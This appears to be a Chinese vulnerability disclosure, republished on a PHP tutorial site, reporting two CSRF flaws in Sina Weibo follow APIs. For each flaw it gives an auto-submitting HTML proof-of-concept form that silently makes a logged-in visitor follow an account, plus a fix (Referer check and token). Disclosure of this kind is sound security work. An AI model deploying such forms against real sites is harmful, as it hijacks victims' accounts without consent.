微博加关注的接口要管理好啊,新浪的同学!
没有对referer验证,没有加token导致
登录新浪微博社会招聘:http://hr.weibo.com/jobs/index.php
访问如下poc页面
<html>
<body>
<form id="fxx" name="fxx" action="http://hr.weibo.com/api/add_friend.php" method="POST">
<input type="text" name="uid" value="1981622273" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
即可关注乌云:
修复方案: 1.这个站CSRF不设防哦,请做好其他检查;
2.检查POST来路Referer,在POST的信息中加token;
多留意了一眼,就多了一个洞
详细说明:没有对referer验证,没有加token导致
漏洞 证明:登录新浪微博社会招聘:http://campus.sina.com.cn
访问如下poc页面
< html >
<body>
<form id="fxx" name="fxx" action="http://campus.sina.com.cn/api/add_friend.php" method="POST">
<input type="text" name="uid" value="1981622273" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>
修复方案: 1.这个站同样也是CSRF不设防哦,请做好其他检查;
2.检查POST来路Referer,在POST的信息中加token;
查看更多关于新浪微博两处CSRF刷粉丝 - 网站安全 - 自学php的详细内容...